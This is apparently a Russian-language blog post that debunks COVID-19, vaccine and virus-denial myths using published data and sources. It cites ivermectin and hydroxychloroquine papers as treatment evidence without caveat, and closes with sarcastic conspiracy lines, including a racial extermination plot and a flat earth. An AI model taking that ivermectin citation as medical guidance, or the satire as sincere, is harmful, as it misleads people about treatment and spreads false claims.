Данная статья была приведена в пример ненаучности и непоследовательности в изучении вопроса, тем не менее она распространяется исключительно как доказательство вредности вакцин. При этом распространители игнорируют что в самой же статье написано то же самое про ковид.
Никто не лечит ковид ничем кроме вакцинЭто легко поискать самостоятельно, например на <https://pubmed.ncbi.nlm.nih.gov> `%medicament_name% covid-19` или тот же запрос в вашей любимой поисковой система. Единственный нюанс состоит в том, чтобы смотреть все же научные публикации или хотя бы выжимки из них, а не крики журналистов.
* [База данных различных научных публикаций по влиянию разных медикаментов на лечение ковид (en)](https://cdcn.org/corona-data-viewer/)
* [Review of the Emerging Evidence Demonstrating the Efficacy of Ivermectin in the Prophylaxis and Treatment of COVID-19](https://www.ncbi.nlm.nih.gov/pmc/articles/PMC8088823/)
* [Dexamethasone in the management of covid-19](https://www.bmj.com/content/370/bmj.m2648.long)
* [Hydroxychloroquine and COVID-19](https://pubmed.ncbi.nlm.nih.gov/32295814/)
Красный крест не принимает кровь/плазму вакцинированных от ковидВы можете сдавать в красный крест как кровь так и плазму.
Исключением в данный момент является только **COVID-19 convalescent plasma** это плазма, рассчитанная именно на лечение ковид. Если вы в Москве, то наверняка видели постеры с призывом поделиться антителами.
Чтобы разъяснить ситуацию, красный крест отдельно объясняет это:
> Antibodies that an individual produces when they’ve been exposed to the virus are slightly different from the antibodies that an individual produces when they’ve been vaccinated. When an individual has been infected with a virus, they produce antibodies to multiple regions of a virus. At the Red Cross, we use two antibody tests to generate our results on blood, platelet and plasma donations. One test – Ortho’s total test – detects antibodies to the spike protein of the virus. The other detects antibodies to a different protein of the virus called the nucleocapsid protein. If a donor has had the COVID-19 vaccine, they will generate an antibody against the spike protein but not the nucleocapsid protein, which will only occur in the event of a COVID-19 infection.
>
>
Если кратко, то при болезни вырабатывается два вида антител, а при вакцинации только один.
* [Vaccination blood donation](https://www.redcrossblood.org/local-homepage/news/article/covid-19-vaccination-guide-blood-donation.html)
* [Common questions](https://www.redcross.org/about-us/news-and-events/news/2021/answers-to-common-questions-about-covid-19-vaccines-and-blood-platelet-plasma-donation-eligibility.html)
Никогда не вакцинировали после 60 и беременных
> Специфическая профилактика гриппа
>
> Вакцинации против гриппа в предэпидемический период в первую очередь подлежат лица, относящиеся к категории высокого риска заболевания гриппом и неблагоприятных осложнений при заболевании, к которым относятся:
>
> **- лица старше 60 лет**, прежде всего проживающие в учреждениях социального обеспечения;
>
> - лица, страдающие заболеваниями эндокринной системы (диабет), нарушениями обмена веществ (ожирение), болезнями системы кровообращения (гипертоническая болезнь, ишемическая болезнь сердца), хроническими заболеваниями дыхательной системы (хронический бронхит, бронхиальная астма), хроническими заболеваниями печени и почек;
>
> **- беременные женщины (только инактивированными вакцинами);**
>
> - лица, часто болеющие острыми респираторными вирусными заболеваниями;
>
> - дети старше 6 месяцев, дети, посещающие дошкольные образовательные организации и (или) находящиеся в организациях с постоянным пребыванием (детские дома, дома ребенка);
>
> - школьники;
>
> - медицинские работники;
>
> - работники сферы обслуживания, транспорта, учебных заведений;
>
> - воинские контингенты.
>
>
* <https://rg.ru/2014/04/18/gripp-dok.html>
Мне так же заметили, что для вакцинации беременных женщин используются только инактивированные вакцины. Это важно.
Тем не менее утверждение, что никто не вакцинирует беременных не соответствует действительности.
Обязательная вакцинация это фашизм! Никогда такого не было!Категории и возраст граждан, подлежащих **обязательной вакцинации** (РФ)
В списке, в основном, новорожденные и дети, но есть, к примеру, и такие пункты (по разным прививкам):
* взрослые от 18 до 55 лет, не привитые ранее (гепатит В)
* женщины от 18 до 25 лет (включительно) (краснуха)
* взрослые в возрасте до 35 лет (включительно) (корь)
И да, часть прививок обязательна только в случае если человек не болел:
> не болевшие, не привитые, привитые однократно, не имеющие сведений о прививках против `%имя вируса%`
>
>
И конкретно от гриппа (**обязательной вакцинации**)
* взрослые, работающие по отдельным профессиям и должностям (работники медицинских и образовательных организаций, транспорта, коммунальной сферы);
* беременные женщины;
* взрослые старше 60 лет;
* лица, подлежащие призыву на военную службу;
* лица с хроническими заболеваниями, в том числе с заболеваниями легких, сердечно-сосудистыми заболеваниями, метаболическими нарушениями и ожирением
* <https://base.garant.ru/57410827/53f89421bbdaf741eb2d1ecc4ddb4c33/#block_1000>
Или про Европу:
> Европейские страны **рекомендуют или рассматривают обязательные вакцины**. Среди них **одиннадцать стран (35,4%) имеют обязательные прививки по крайней мере одной** **из вакцин** против дифтерии, столбняка, коклюша, гепатита В, полиовируса, гемофильного гриппа типа в, кори, эпидемического паротита, краснухи и ветряной оспы.
>
>
> European Countries recommend or contemplate compulsory vaccines. Among them, eleven Countries (35.4%) have mandatory vaccinations for at least one out of diphtheria, tetanus, pertussis, hepatitis B, poliovirus, Haemophilus influenzae type b, measles, mumps, rubella and varicella vaccine.
>
>
* <https://pubmed.ncbi.nlm.nih.gov/29898770/>
Какой толк от вакцинации если все равно заболеешь, а приобретенный иммунитет лучше искуственногоК сожалению, цифры говорят не в пользу естественной версии (данные по Израилю, Pfizer–BioNTech mRNA COVID-19 vaccine BNT162b2)
Выборка за 24 января - 3 апреля, 2021 (2 с небольшим месяцы).
| Измерение | Вакцинированные | Не вакцинированные |
| --- | --- | --- |
| Cлучаев | 6266 | 109 876 |
| Госпитализаций | 596 | 5526 |
| Крит. состояние / осложнение | 364 | 3201 |
| Смертей | 138 | 715 |
> Вакцинированные - минимум 7 дней после второй дозы
>
>
P.S. Недостатком данного исследования можно отметить, что неизвестно болели ли до этого все попавшие в статистику.
* <https://www.thelancet.com/journals/lancet/article/PIIS0140-6736(21)00947-8/fulltext>
**Дополнительная информация из** [**комментариев**](https://habr.com/en/post/565892/comments/#comment_23223044) **от пользователей [@kemm](/users/kemm) и @dead\_un**
> Мне кажется, или из приведенных вами данных о тяжелых случаях после прививки получается, что у **заболевших** вакцинированных риски госпитализации, осложнений и смерти выше, чем у **заболевших** невакцинированных?
>
>
> Шанс попасть в больницу для вакцинированного и невакцинированного это шанс **заболеть \* шанс попасть в больницу (1/n \* 1/m)**
>
>
> В данном случае выглядит, как будто у заболевших привитых выше риск госпитализации, чем у непривитых, скорее всего из-за того, что в Израиле (как и много где ещё, в UK, например) в **первую очередь прививали группу риска**, а именно пожилых (в первую очередь в домах престарелых) и медработников. А так как смертность (и тяжесть тоже) среди пожилых сильно выше, и они почти все в группе вакцинированных и отсутствуют в группе непривитых, мы такой эффект и наблюдаем. Проверить просто: поищите ту же статистику, но с распределением по возрастам. Спорю, что сравнивая отдельно <40, [40; 60), ≥60 эффект пропадёт и во всех группах у вакцинированных шанс загреметь в больничку будет заметно ниже.
>
>
Спасибо [@kemm](/users/kemm) за [дополнение](http://en/post/565892/comments/#comment_23223308)
> У меня под рукой есть данные по UK именно смертей с разбивкой, там примерно так:
>
>
| | вакцинированные | невакцинированные |
| --- | --- | --- |
| Всего случаев | 7,235 | 53,822 |
| Тяжелые случаи | 348 (4.8%) | 2,248 (4.2%) |
| Госпитализации | 190 (2.6%) | 831(1.5%) |
| Смерти | 50 (0.7%) | 44 (0.08%) |
> Выглядит ужасно, предподносится "скептиками" так же, цитирую: вакцинация от ковида увеличивает риск смерти от варианта дельта в 9 раз!
>
>
Тяжело болеют только старики и те, у кого есть осложнения*Оставим в стороне этическую составляющую*
Данные по Израилю, включены как вакцинированные так и не вакцинированные.
Выборка за 24 января - 3 апреля, 2021 (2 с небольшим месяцы).
Указан процент от числа госпитализаций
| Возраст | Случаев | Госп. | Крит. сост. | Смертей |
| --- | --- | --- | --- | --- |
| 16-44 | 86 412 | `2 076 ( 2.40%)` | `651 ( 0.70%)` | `36 (0.04%)` |
| 45–64 | 20 843 | `1 799 ( 8.63%)` | `1 194 ( 5.73%)` | `139 (0.67%)` |
| `>=` 65 | 7 887 | `2 277 (28.87%)` | `1 720 (21.81%)` | `678 (8.60%)` |
| Все | 116 142 | `6 122 ( 5.27%)` | `3 565 ( 3.07%)` | `853 (0.73%)` |
Как видно, болеют все. Да, чем старше возрастная группа тем больше риска, но утверждать что это не касается никого младше 60 уже давно нельзя.
* <https://www.thelancet.com/journals/lancet/article/PIIS0140-6736(21)00947-8/fulltext>
Вирус имеет лабораторное происхождениеУченые, которые разбираются в данном вопросе, считают версию утечки крайне маловероятной. Основная версия на данный момент это естественное происхождение.
Надеюсь, приведенная статья и 2 интервью (одно их которых с командой расследования происхождения вируса) позволят вам лучше разобраться в вопросе.
* [When a Good Scientist Is the Wrong Source](https://nautil.us/issue/102/hidden-truths/when-a-good-scientist-is-the-wrong-source)
* [TWiV 762: SARS-CoV-2 origins with Robert Garry](https://www.microbe.tv/twiv/twiv-762/)
* [Peter Daszak, Thea Kølsen Fischer, and Marion Koopmans, **members of the WHO team investigating the origins of SARS-CoV-2**](https://www.microbe.tv/twiv/twiv-760/)
* [Animal sales from Wuhan wet markets immediately prior to the COVID-19 pandemic](https://www.nature.com/articles/s41598-021-91470-2)
Спасибо [@transcengopher](/users/transcengopher) за важное дополнение
[**Один из участников (Peter Daszak)** группы, проводившей расследование, **имел конфликт интересов**](https://www.nationalreview.com/news/researcher-tied-to-wuhan-lab-thanked-fauci-for-dismissing-lab-leak-theory/)
Ковид не страшнее простуды - это просто грипп!Смертей от гриппа и пневмонии в США - [источник](https://www.cdc.gov/nchs/nvss/leading-causes-of-death.htm)
* [2015](https://www.cdc.gov/nchs/data/nvsr/nvsr66/nvsr66_05.pdf) - **57 062** из них **детей от 1 до 14 лет - 171**
* [2016](https://www.cdc.gov/nchs/data/nvsr/nvsr67/nvsr67_06.pdf) - **51 537** из них **детей от 1 до 14 лет - 190**
* [2017](https://www.cdc.gov/nchs/data/nvsr/nvsr68/nvsr68_06-508.pdf) - **55 672** из них **детей от 1 до 14 лет - 217**
А смертей от ковид с **6** **июля 2020 - по 5 июля 2021: 465 543** человек.
Откуда 465 543?Я считал из графика [общего количества смертей](https://covid19.who.int/region/amro/country/us):
601 867 (5 июля 2021) - 136 324 (6 июля 2020) = **465 543**
То есть даже если приписывать все смерти от гриппа в ковид мы получим **~400k смертей** от ковид (все минус грипп и пневмония), ну или непонятно откуда.
[CDC](https://www.cdc.gov/flu/weekly/index.htm) даже сделали наглядную картинку для сравнения смертей от простуды (желтый график) и ковид (синий)
Спасибо [@ru1z](/users/ru1z) за наводки
---
Virology
--------
Вирусы никогда не были изолированы/выделеныУйма вирусов была выделена. Для начала нужно понять как используется данный термин в вирусологии (он даже среди вирусологов неоднозначен).
Процесс выделения **для последующего изучения** примерно следующий:
* Получить материал в котором предположительно находится вирус
* Материал фильтруется таким образом, что вирионы отделяются от всего остального (например, используя фильтр с маленькими порами, через которые проходят частицы размера вирионов)
* Отфильтрованные частицы (зеленые шарики на картинке) помещают в клеточную культуру, где они будут размножаться
* Через некоторое время частиц будет достаточно много для изучения/секвенирования
![Figure 6.3.1: Membrane filters can be used to remove cells or viruses from a solution. (a) This scanning electron micrograph shows rod-shaped bacterial cells captured on the surface of a membrane filter. Note differences in the comparative size of the membrane pores and bacteria. Viruses will pass through this filter. (b) The size of the pores in the filter determines what is captured on the surface of the filter (animal [red] and bacteria [blue]) and removed from liquid passing through. Note the viruses (green) pass through the finer filter. (credit a: modification of work by U.S. Department of Energy)](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/712/8f3/86b/7128f386b7dca772daf6696d30dff468.jpeg "Figure 6.3.1: Membrane filters can be used to remove cells or viruses from a solution. (a) This scanning electron micrograph shows rod-shaped bacterial cells captured on the surface of a membrane filter. Note differences in the comparative size of the membrane pores and bacteria. Viruses will pass through this filter. (b) The size of the pores in the filter determines what is captured on the surface of the filter (animal [red] and bacteria [blue]) and removed from liquid passing through. Note the viruses (green) pass through the finer filter. (credit a: modification of work by U.S. Department of Energy)")Figure 6.3.1: Membrane filters can be used to remove cells or viruses from a solution. (a) This scanning electron micrograph shows rod-shaped bacterial cells captured on the surface of a membrane filter. Note differences in the comparative size of the membrane pores and bacteria. Viruses will pass through this filter. (b) The size of the pores in the filter determines what is captured on the surface of the filter (animal [red] and bacteria [blue]) and removed from liquid passing through. Note the viruses (green) pass through the finer filter. (credit a: modification of work by U.S. Department of Energy)Figure 6.3.1: Membrane filters can be used to remove cells or viruses from a solution. (a) This scanning electron micrograph shows rod-shaped bacterial cells captured on the surface of a membrane filter. Note differences in the comparative size of the membrane pores and bacteria. Viruses will pass through this filter. (b) The size of the pores in the filter determines what is captured on the surface of the filter (animal [red] and bacteria [blue]) and removed from liquid passing through. Note the viruses (green) pass through the finer filter. (credit a: modification of work by U.S. Department of Energy)
* [Isolate, variant, strains - what they are?](https://www.virology.ws/2021/02/25/understanding-virus-isolates-variants-strains-and-more/)
* [Isolation, Culture, and Identification of Viruses](https://bio.libretexts.org/Bookshelves/Microbiology/Microbiology_(OpenStax)/06%3A_Acellular_Pathogens/6.03%3A_Isolation_Culture_and_Identification_of_Viruses)
Патогенность вирусов никогда не была доказанаОсновной посыл данного аргумента в том, что когда ученые берут что-то у одного существа и вживляют другому, то это не вирус, а что-то другое убивает получателя (как правило ссылаются либо на экзосомы либо на медикаменты).
На самом деле все очень просто, вы берете образцы здорового и больного человека и передаете их кому-то. Если получатель имеет негативные эффекты в любом случае, значит проблема вообще в том что передают, если только в случае с передачей от больного человека, то выявляется закономерность.
С вирусом табачной мозаики это лучше всего видно, как мне кажется.
> Затем я внезапно сделал открытие, что сок из больных растений, полученный путем измельчения, является определенным инфекционным веществом для здоровых растений.
>
>
> Then I suddenly made the discovery that the juice from diseased plants obtained by grinding was a certain infectious substance for healthy plants.
>
>
* [The Discovery of the Causal Agent of the Tobacco Mosaic Disease](https://www.apsnet.org/edcenter/apsnetfeatures/Documents/1998/ZaitlinDiscoveryCausalAgentTobaccoMosaicVirus.pdf)
Как видно из описания другого эксперимента, часть животных никак не реагировала на зараженные участки.
> Бактериальные культуры спинного мозга были стерильны, и инъекция суспензии измельченного спинного мозга **кроликам, морским свинкам и мышам также дала отрицательные результаты**.
>
> Бактериологически **стерильный** материал, полученный из спинного мозга человека со смертельным исходом, был введен двум животным внутрибрюшинно. \_\_Обезьяна-киноцефал умерла восемь дней спустя\_\_… Настоящее испытание наступило, когда гистологические срезы спинного мозга выявили **типичные и обширные поражения, которые имели удивительно близкое сходство с поражением при полиомиелите человека**. Аналогичные, хотя и не столь распространенные, изменения были обнаружены в срезах пуповины у второй обезьяны, у которой развился полный вялый паралич обеих ног…
>
>
> Bacterial cultures of the spinal cord had been sterile, and injection of a suspension of the ground-up cord into rabbits, guinea pigs, and mice also had given negative results.
>
> The bacteriologically sterile material obtained from the spinal cord of the fatal human case was injected into the two animals intraperitoneally. The Cynocephalus monkey succumbed eight days later… The real test came when histological sections of the spinal cord revealed typical and extensive lesions which had a remarkably close resemblance to the lesion of human poliomyelitis. Similar, though not such widespread, changes were found in the sections of the cord from the second monkey, which developed complete flaccid paralysis of both legs…
>
>
* [100th anniversary of the isolation of poliovirus](https://www.virology.ws/2008/12/19/100th-anniversary-of-the-isolation-of-poliovirus/)
Вирусы нельзя увидетьЕсли что-то сложно или нельзя увидеть это не является доказательством отсутствия. Увидеть процессорный транзистор, который размером сопоставим с вирионом, тоже непросто, но это не значит что их не существует, так же как и построенных на их основе процессоров и далее компьютеров.
Нет ни одного фото вируса#### Вирус табачной мозаики
Figure 1. (a) Tobacco mosaic virus (TMV) viewed with transmission electron microscope. (b) Plants infected with tobacco mosaic disease (TMD), caused by TMV. (credit a: modification of work by USDA Agricultural Research Service—scale-bar data from Matt Russell; credit b: modification of work by USDA Forest Service, Department of Plant Pathology Archive North Carolina State University)Figure 1. (a) Tobacco mosaic virus (TMV) viewed with transmission electron microscope. (b) Plants infected with tobacco mosaic disease (TMD), caused by TMV. (credit a: modification of work by USDA Agricultural Research Service—scale-bar data from Matt Russell; credit b: modification of work by USDA Forest Service, Department of Plant Pathology Archive North Carolina State University)
Вирус табачной мозаики#### Бактериофаги
Figure 2. (a) In this transmission electron micrograph, a bacteriophage (a virus that infects bacteria) is dwarfed by the bacterial cell it infects. (b) An illustration of the bacteriophage in the micrograph. (credit a: modification of work by U.S. Department of Energy, Office of Science, LBL, PBDFigure 2. (a) In this transmission electron micrograph, a bacteriophage (a virus that infects bacteria) is dwarfed by the bacterial cell it infects. (b) An illustration of the bacteriophage in the micrograph. (credit a: modification of work by U.S. Department of Energy, Office of Science, LBL, PBD
BacteriophageFigure 2: Bacteriophages attached to a host cell (transmission electron micrograph). In bacteriophage with tails, like the one shown here, the tails serve as a passageway for transmission of the phage genome. (credit: modification of work by Dr. Graham Beards; scale-bar data from Matt Russell)Figure 2: Bacteriophages attached to a host cell (transmission electron micrograph). In bacteriophage with tails, like the one shown here, the tails serve as a passageway for transmission of the phage genome. (credit: modification of work by Dr. Graham Beards; scale-bar data from Matt Russell)
#### Натуральная оспа
SmallpoxОспаДостаточно в гугле или другом поисковике ввести `%virus_name% virus microscope photo` и те картинки которые будут выглядеть хуже всего, скорее всего и будут фотографиями с микроскопа.
При желании вы можете купить электронный микроскоп и увидеть все самостоятельно. Цена вопроса порядка сотен тысяч евро, что для группы из 100 человек вполне подъемно.
Спасибо @[**Schicout**](/en/users/Schicout/) за [дополнение](https://habr.com/en/post/565892/comments/#comment_23219254)
> Для того, чтобы увидеть бактериофаги, с качеством как на картинках с маркером 50nm, вам потребуется микроскоп с разрешением от 0,5 nm - это прибор уровня (хотя бы) JEOL JEM-1400 со STEM-режимом или простенький JEM-2100 (у него разрешение ~0.1nm). Первый стоит ~800k$, второй ~1,5M$. Аналоги от какого-нибудь TESCAN будут, конечно, подешевле, но максимум раза в 2. А Carl Zeiss или FEI могут быть и подороже. И еще нужна пробоподготовка. Но какая - я не знаю, врать не буду, я больше в solid state умею, чем в биологию. К сожалению, это крайне дорогое удовольствие. А вот взять прибор в аренду с оператором - это существенно проще. Со своей пробоподготовкой в России это выйдет от 5 до 20 кРуб/час. Сессия, как правило, от 2 до 6 часов (как повезет с приготовленным объектом).
>
>
Все фото вирусов это компьютерная графикаНе все фото это трехмерные компьютерные модели, но те что трехмерные это действительно компьютерное моделирование на основе данных о конкретном вирусе.
Например:
> Three-dimensional structure determination by cryo-EM involves averaging the information present in 2D projection images of multiple copies of individual particles, which are oriented variably with respect to the incident electron beam.
>
>
> Определение трехмерной структуры с помощью крио-электронного микроскопа включает усреднение информации, содержащейся в 2D-проекциях множества копий отдельных частиц (вирионов), которые ориентированы по-разному относительно падающего электронного пучка.
>
>
То есть обычное трехмерное сканирование с крутящимся столом, но очень маленьких элементов, которые были предварительно заморожены.
* [Как создать 3D-модель вируса человека. Часть первая: сбор и анализ научных данных](https://habr.com/en/company/visual-science/blog/222819/)
* [Cryo-EM of viruses and vaccine design](https://www.pnas.org/content/113/32/8903)
Создатель пцр заявил что технология не может использоваться для тестирования или что можно найти все что угодноЕсли посмотреть целиком [интервью](https://www.youtube.com/watch?v=ZmZft4fXhQQ) то некоторые моменты становятся яснее (я выделю отдельные важные куски, желающие могут посмотреть видео целиком):
> If they would if they could find this virus in you at all and with pcr if you do it well you can find almost anything in anybody.
>
>
> Если бы они могли, если бы они вообще могли найти этот вирус в вас, и с помощью пцр, если вы сделаете это хорошо, вы сможете найти почти все в ком угодно.
>
>
Если вернуться в контекст то очевидно, Кэри Маллис говорит что: **если в вас что-то есть, ПЦР может это найти при правильном использовании**. Все что угодно, если оно присутствует даже в микроскопических дозах.
Что отличается от заявления, что можно найти все что угодно.
Почему для изоляции вируса нужно что-то выращивать?Потому что один [вирион](https://www.virology.ws/2010/07/22/the-virus-and-the-virion/) может быть не патогенен и не будет много толка от его изучения. Для разных вирусов соотношение таких вирионов различно.
Думаю, тут может подойти аналогия (которая, естественно, ложна) что чтобы изучить человека как единицу, нам достаточен один человек, но чтобы изучить социум нам надо немного больше людей.
* <https://www.virology.ws/2011/01/21/are-all-virus-particles-infectious/>
Вакцины не работаютДля примера часто приводится случай с оспой в Москве 1959 года, описанный в книге *Заносные вспышки натуральной оспы (А.Ф. Серенко, Москва 1962 год. Стр. 55)*
Аргументация следующая:
Больной К умер, несмотря на двойную вакцинацию (в детстве и за две недели до заражения). Игнрируется факт, что вакцинальной реакции у К отмечено не было.
Чуть дальше по тексту описываются больные Н и Т, которые были вакцинированы в детстве и выжили. Данная часть так же игнорируется, в крайнем случае выставляется как неэффективность прививки (они же все равно заболели).
В этой же книге есть такой неудобный для цитирующих кусок:
> **Отсутствие массовой обязательной вакцинации** во всех странах мира, **несистематическое осуществление мер специфической профилактики** в странах Азии и Африки **создают условия для периодических вспышек** натуральной оспы в крупных городах, поддерживающих контакты со странами, не благополучными по оспе. *(стр 53.)*
>
>
Откуда мы знаем что это вирусы, а не другие клеткиПотому что клетки, во время фильтрации не попадают в изолят (они гораздо больше).
Соответственно это могут быть только клетки культуры, в которой вирус культивируется а их признаки уже известны (можно сделать фото культуры до добавления вируса и после).
Откуда мы знаем что это вирусы, а не экзосомыВыдержка из [вики](https://ru.wikipedia.org/wiki/%D0%AD%D0%BA%D0%B7%D0%BE%D1%81%D0%BE%D0%BC%D1%8B)
> Экзосомы — **микроскопические внеклеточные везикулы (пузырьки)** диаметром 30—100 нанометров, выделяемые в межклеточное пространство клетками различных тканей и органов. Полость экзосом имеет цитоплазматическое происхождение и **содержит белки, РНК и липиды**, мембрана экзосом образуется в результате впячивания внутрь эндосомальной мембраны.
>
> Экзосомы обнаружены в различных тканевых жидкостях организма, таких как сыворотка крови, спинномозговая жидкость, а также в моче, слюне и грудном молоке.
>
> Функции экзосом разнообразны: **межклеточная коммуникация, участие в секреции белков, облегчение иммунного ответа** и многое другое. **Однако роль экзосом полностью ещё не изучена**.
>
>
Вот так выглядят экзосомы:
ExosomesAn image taken with an electron microscope shows tumor exosomes in mice lungs. The small circles with black spots are tumor exosomes that have entered normal lung cells and are transforming the normal cells for future metastasis.И действительно, они могут быть очень похожи на модный сейчас ковид или грипп
The COVID-19 coronavirus epidemic has a natural origin, scientists sayThe Influenza Virus HemagglutininТолько они явно не похожи на другие вирусы типа эболы, бактериофагов и других, фото части которых можно увидеть в этой же статье.
Судя по всему у вирусов и экзосом есть много общего, но самое главное отличие известное сейчас это их производство
<https://www.quantamagazine.org/cells-talk-in-a-language-that-looks-like-viruses-20180502/>
> There are fundamental differences between viruses and vesicles: Viruses can replicate and vesicles cannot,
>
>
> Между вирусами и везикулами существуют фундаментальные различия: **вирусы могут воспроизводится, а везикулы-нет**
>
>
То есть экзосомы производятся клетками самостоятельно, а вирусы сначала попадают в клетку, используют клеточные механизмы для собственного размножения и потом покидают клетки (или остаются в них, зависит от вируса).
*Фан факт, ссылку на статью выше я нашел на* [*лор*](https://www.linux.org.ru/forum/talks/15836410)
Дополнительно
* <https://link.springer.com/article/10.1007/s13311-016-0450-6>
P.S. Если у вас есть объяснение проще и лучше, пожалуйста, поделитесь им в комментариях
---
Разное
------
В Техасе запретили/отменили ковид и за его упоминание - штраф. В Техасе больше нет ограничений!В Техасе действительно убраны ограничения. И это радует. А еще в Техасе **вакцинировано >50% населения включая 500k детей** (на момент написания)
> Texas has administered nearly 19.8 million doses of COVID-19 vaccine. About 52 percent of residents 16 years old and older have received at least one dose, and 40 percent are now fully vaccinated. [Source](https://dshs.texas.gov/news/releases/2021/20210512.aspx)
>
>
> Техас ввел почти 19,8 миллиона доз вакцины против COVID-19. Около 52 процентов жителей в возрасте 16 лет и старше получили по крайней мере одну дозу, и 40 процентов в настоящее время полностью вакцинированы.
>
>
> Make no mistake, COVID-19 has not disappeared, but it is clear from the recoveries, vaccinations, reduced hospitalizations, and safe practices that Texans are using that state mandates are no longer needed [Source](https://gov.texas.gov/news/post/governor-abbott-lifts-mask-mandate-opens-texas-100-percent)
>
>
> Не ошибитесь, COVID-19 не исчез, но из-за выздоровления, вакцинации, сокращения числа госпитализаций и безопасных методов, которые используют техасцы, становится ясно, что государственные мандаты больше не нужны
>
>
В Техасе запрет на требование надеть маску, предъявить сертификат о вакцинации или отрицательный тест:
> Under the Republican governor’s order, which goes into effect Friday, local governments or officials that implement mandatory masks can be fined up to $1,000.
>
> ...
>
> The Centers for Disease Control and Prevention is advising schools to keep [coronavirus](https://www.cnbc.com/coronavirus/) mitigation measures, including face masks, in place for the rest of the academic year. Covid vaccine eligibility was recently expanded for children ages 12 to 15. So far, [more than half a million kids](https://www.cnbc.com/2021/05/18/cdc-says-600000-kids-aged-12-to-15-have-received-covid-shots-in-last-week-.html) in that age group have received a shot.
>
> [Source](https://www.cnbc.com/2021/05/18/texas-gov-abbott-threatens-to-fine-cities-and-local-officials-if-they-impose-mask-mandates.html)
>
>
* <http://web.archive.org/web/20210627065032/https://dshs.texas.gov/covidvaccine/>
* <https://gov.texas.gov/news/post/governor-abbott-lifts-mask-mandate-opens-texas-100-percent>
* <https://tabexternal.dshs.texas.gov/t/THD/views/COVID-19VaccineinTexasDashboard/Summary>
Спасибо [@Gugic](/users/gugic)за данную информацию и за [комментарий](https://habr.com/en/post/565892/comments/#comment_23237984)
Немного деталей о вакцинации
* **May 12, 2021:** [Everyone 12 years old and older](https://dshs.texas.gov/news/releases/2021/20210512.aspx)
* **March 29, 2021:** [Everyone 16 years old and older](https://dshs.texas.gov/news/releases/2021/20210323.aspx)
* **March 15, 2021:** [Phase 1C](https://dshs.texas.gov/coronavirus/immunize/vaccine/EVAP-Phase1C.pdf) (people 50 to 64 years of age)
* **March 3, 2021:** [Schools and licensed child care personnel](https://dshs.texas.gov/news/releases/2021/20210303.aspx)
* **December 29, 2020:** [Phase 1B](https://dshs.texas.gov/coronavirus/immunize/vaccine/EVAP-Phase1B.pdf) (people 65+ or people 16+ with a health condition that increases risk of severe COVID‑19 illness)
* **December 14, 2020:** [Phase 1A](https://dshs.texas.gov/coronavirus/immunize/vaccine/EVAP-Phase1A.pdf) (front-line healthcare workers and residents at long-term care facilities)
Суд Германии признал, что вируса кори не существует или победа немецкого микробиолога и вирусолога Штефана Ланки в судебном процессе по вирусу кори**Штефан Ланка объявил награду в €100к** **за предоставление научной работы где будет доказано существование вируса кори и указаны его размеры.**
Один студент решил получить награду, прислал Штефану письмо, с вопросом действительно ли будет награда, на что Штефан утвердительно ответил (это есть в материалах суда). *Это важно, так как на первом судебном процессе Ланка пытался аппелировать к тому, что данный человек не мог участвовать в конкурсе и, соответственно, недостоин награды, каковое утверждение суд счел несостоятельным.*
**Студент прислал Штефану 6 научных статей, которые совместно удовлетворяли условию конкурса (было доказано существование и указаны размеры)**. Дополнительно студент прислал Штефану реквизиты счета.
**Ланка отказался выплачивать приз, студен подал на него в суд за отказ в выплате приза.**
**Суд** признал, правоту студента и **обязал Штефана выплатить обещанную награду**. В том числе, **суд признал состоятельность научных работ** (с помощью приглашенного эксперта).
**Штефан** подал апеляцию и, **на основании того, что в условиях конкурса было указано, что доказательство и размер вируса должны быть в одной работе, выиграл аппеляцию**.
То есть, аппеляцию Штефан Ланка **выиграл исключительно из-за игры слов в конкурсе, а вовсе не из-за отсутствия доказательства**.
* Само дело 12.3.2015 (немецкий) - <http://lrbw.juris.de/cgi-bin/laender_rechtsprechung/document.py?Gericht=bw&GerichtAuswahl=Landgerichte&Art=en&sid=b9661a61381354aad69ab3c54d8bb2d4&Sort=1&nr=19277&pos=0&anz=1>
* Апеляция 16.2.2016 (немецкий) - <http://lrbw.juris.de/cgi-bin/laender_rechtsprechung/document.py?Gericht=bw&GerichtAuswahl=Oberlandesgerichte&Art=en&sid=46bf3db2df690aba6e4874acafaf45b6&nr=20705&pos=0&anz=1>
* Интервью на русском, где Штефан рассказывает, как он выиграл суд - <https://t.me/germtheoryisahoax/839>
---
И немного оффтопика и авторского субъективизма#### Новояз, новояз
* Бессимптомный
* Поражение лёгких
* Самоизоляция
А как же тогда:
* Намордники
* Жижа
* Нюрнберг и преступление против человечества
---
#### Африканские страны не спешат вакцинировать от ковид
Потому что хотят истребить белое население и оставить только черных.
Но Билл Гейтс уничтожал черных прививками еще до ковида!
Мне кажется, что это какая-то многоходовка.
---
#### Земля плоская
Сейчас как раз время, когда почти любой, имея немного денег скоро сможет своими глазами увидеть какой формы земля.
Йоло на Галю, туземун энд бек.
*Не является инвестиционной рекомендацией.*
---
Благодарности
-------------
### Разоблачителям
Огромное спасибо всем разоблачителям и тем, кто несет правду в массы. Многие из них любят напоминать, что не надо верить всем на слово и проверяйте все сами, что я и делал. Абсолютное большинство информации, которую используют разоблачители опровергается экспериментально либо некоторым гуглением и использованием логики. К их несчастью даже среди разоблачителей есть раскол (например, одни утверждают, что вирусов нет, а другие, что вирус эболы распыляют с самолетов).
* Катя Сугак, которая ведет канал Вирусомания в телеграм и аналогичный инстаграмм (помните, что нельзя бездоказательно утверждать, что вирусы существуют).
* Ютуб канал Крамола
* Ютуб канал Рубеж
* Штефан Ланка
* Стефано Скольйо
* Райнер Фюльмих
* Janet Ossebaard
### Всем остальным
* Томас [Physical Atrraction podcast](https://podcasts.apple.com/ru/podcast/physical-attraction/id1253678242) и [website](http://www.physicalattraction.libsyn.com) - первый ученый с которым я пообщался и который ответил мне на некоторые вопросы, но главное, дал мне понять, что в своих размышлениях я двигаюсь в верном направлении. У Томаса очень интересный подкаст на научные темы, включая сценарии конца света, изменения климата, возобновляемой энергия и космоса.
* Vincent Racaniello <https://www.virology.ws> [This Week in Virology podcast](https://podcasts.apple.com/ru/podcast/this-week-in-virology/id300973784) и [website](https://www.microbe.tv/twiv/), [Virology lectures](https://www.youtube.com/playlist?list=PLGhmZX2NKiNlKLVfVwFz8UhS720xIe6v5) - лекции помогут вам ответить на самые популярные вопросы о вирусах, а подкаст расскажет вам как о текущей ситуации так и об истории и других, связанных областях. Пожалуй, это один из самых спокойных источников информации. Успокаивает и дает веру в человечество. Если вы устали от паники в сми и среди скептиков - послушайте и вам станет легче.
